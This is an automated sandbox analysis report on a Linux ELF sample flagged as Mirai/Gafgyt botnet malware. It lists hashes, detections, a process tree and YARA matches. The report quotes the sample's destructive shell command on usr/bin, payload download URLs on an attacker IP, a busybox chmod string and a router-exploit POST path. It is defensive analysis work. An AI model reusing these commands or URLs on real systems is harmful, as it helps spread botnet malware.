Edit tour

Linux Analysis Report
AFWaD3vnqR.elf

Overview

General Information

Sample name:	AFWaD3vnqR.elf renamed because original name is a hash value
Original sample name:	d86f1705e5e8b6dd204b285b9b5bdb68.elf
Analysis ID:	1412865
MD5:	d86f1705e5e8b6dd204b285b9b5bdb68
SHA1:	de0855f7475b25346cac04041900e3e949f08100
SHA256:	b9c4aaded0e769c3da089f2250370b90158321a402d3856a9eae04911fac77a9
Tags:	64elfgafgyt
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Changes permissions of common UNIX (system) binary directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1412865
Start date and time:	2024-03-21 05:21:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	AFWaD3vnqR.elf renamed because original name is a hash value
Original Sample Name:	d86f1705e5e8b6dd204b285b9b5bdb68.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://109.205.214.35/mips;
VT rate limit hit for: http://109.205.214.35/mpsl;chmod
VT rate limit hit for: http://127.0.0.1:52869/picdesc.xml

Runtime Messages

Command:	/tmp/AFWaD3vnqR.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	matrix
Standard Error:

Process Tree

system is lnxubuntu20

AFWaD3vnqR.elf (PID: 5432, Parent: 5358, MD5: d86f1705e5e8b6dd204b285b9b5bdb68) Arguments: /tmp/AFWaD3vnqR.elf

AFWaD3vnqR.elf New Fork (PID: 5433, Parent: 5432)

sh (PID: 5433, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/AFWaD3vnqR.elf usr/bin; chmod 777 usr/bin"

sh New Fork (PID: 5434, Parent: 5433)

rm (PID: 5434, Parent: 5433, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf usr/bin

sh New Fork (PID: 5435, Parent: 5433)

mkdir (PID: 5435, Parent: 5433, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir usr

sh New Fork (PID: 5436, Parent: 5433)

mv (PID: 5436, Parent: 5433, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/AFWaD3vnqR.elf usr/bin

sh New Fork (PID: 5437, Parent: 5433)

chmod (PID: 5437, Parent: 5433, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 usr/bin

AFWaD3vnqR.elf New Fork (PID: 5438, Parent: 5432)

AFWaD3vnqR.elf New Fork (PID: 5439, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5440, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5442, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5443, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5444, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5445, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5446, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5447, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5448, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5449, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5450, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5451, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5452, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5453, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5454, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5455, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5456, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5457, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5458, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5459, Parent: 5438)

AFWaD3vnqR.elf New Fork (PID: 5460, Parent: 5438)

gnome-session-binary New Fork (PID: 5461, Parent: 1588)

sh (PID: 5461, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 5461, Parent: 1588, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
AFWaD3vnqR.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
AFWaD3vnqR.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1947c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1951c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1956c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x15ad4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x16187:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x137ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x13928:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x18c4e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x15d47:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0x153e2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x16012:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
AFWaD3vnqR.elf	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0x155db:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
AFWaD3vnqR.elf	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x42a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
AFWaD3vnqR.elf	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x692f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
AFWaD3vnqR.elf	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x52d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
AFWaD3vnqR.elf	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x4cb2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
AFWaD3vnqR.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1ad3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1aaa8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Click to see the 11 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5446.1.0000000000400000.000000000041e000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5446.1.0000000000400000.000000000041e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1947c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1951c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1956c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x15ad4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x16187:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x137ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x13928:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x18c4e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x15d47:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0x153e2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x16012:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0x155db:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x42a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x692f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x52d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5446.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x4cb2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5460.1.0000000000400000.000000000041e000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5432.1.0000000000400000.000000000041e000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5446.1.0000000000400000.000000000041e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1ad3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x1aaa8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5432.1.0000000000400000.000000000041e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5460.1.0000000000400000.000000000041e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1947c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1951c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1956c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x195d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x15ad4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x16187:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x137ee:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x13928:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x18c4e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x15d47:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0x153e2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x16012:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0x155db:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x42a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x692f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x52d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5460.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x4cb2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5432.1.0000000000400000.000000000041e000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1947c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1951c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 